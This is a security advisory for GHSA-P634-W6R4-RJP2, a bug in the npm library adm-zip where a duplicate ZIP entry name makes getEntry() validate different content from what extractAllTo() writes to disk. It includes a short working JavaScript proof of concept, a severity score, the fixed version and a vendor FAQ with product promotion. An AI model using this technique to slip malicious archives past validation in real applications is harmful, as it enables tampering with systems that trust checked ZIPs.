GHSA-P634-W6R4-RJP2

adm-zip: Duplicate ZIP entry names: getEntry() and extractAllTo() resolve to different content

const AdmZip = require('adm-zip');
const z = new AdmZip({ noSort: true });
z.addFile('a.txt', Buffer.from('FIRST'));
z.addFile('b.txt', Buffer.from('SECOND'));
const raw = Buffer.from(z.toBuffer());
// rename the a.txt entry to b.txt directly in the raw bytes
for (let at = raw.indexOf('a.txt'); at >= 0; at = raw.indexOf('a.txt', at + 5)) {
  raw.write('b.txt', at);
}
const parsed = new AdmZip(raw, { noSort: true });
const validated = parsed.getEntry('b.txt').getData().toString();
parsed.extractAllTo(outDir, false);
// validated === "SECOND", but the file written to disk === "FIRST"

An application that checks a named entry's content before trusting an untrusted ZIP, then extracts it, can be made to approve different bytes than what actually gets written to disk, the classic check/use split that this kind of validate-then-extract pattern relies on.

GHSA-P634-W6R4-RJP2 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.6.1); upgrading removes the vulnerable code path.

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1. What is GHSA-P634-W6R4-RJP2? GHSA-P634-W6R4-RJP2 is a medium-severity security vulnerability in adm-zip (npm), affecting versions <= 0.6.0. It is fixed in 0.6.1.
2. How severe is GHSA-P634-W6R4-RJP2? GHSA-P634-W6R4-RJP2 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of adm-zip are affected by GHSA-P634-W6R4-RJP2? adm-zip (npm) versions <= 0.6.0 is affected.
4. Is there a fix for GHSA-P634-W6R4-RJP2? Yes. GHSA-P634-W6R4-RJP2 is fixed in 0.6.1. Upgrade to this version or later.
5. Is GHSA-P634-W6R4-RJP2 exploitable, and should I be worried? Whether GHSA-P634-W6R4-RJP2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-P634-W6R4-RJP2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-P634-W6R4-RJP2? Upgrade adm-zip to 0.6.1 or later.

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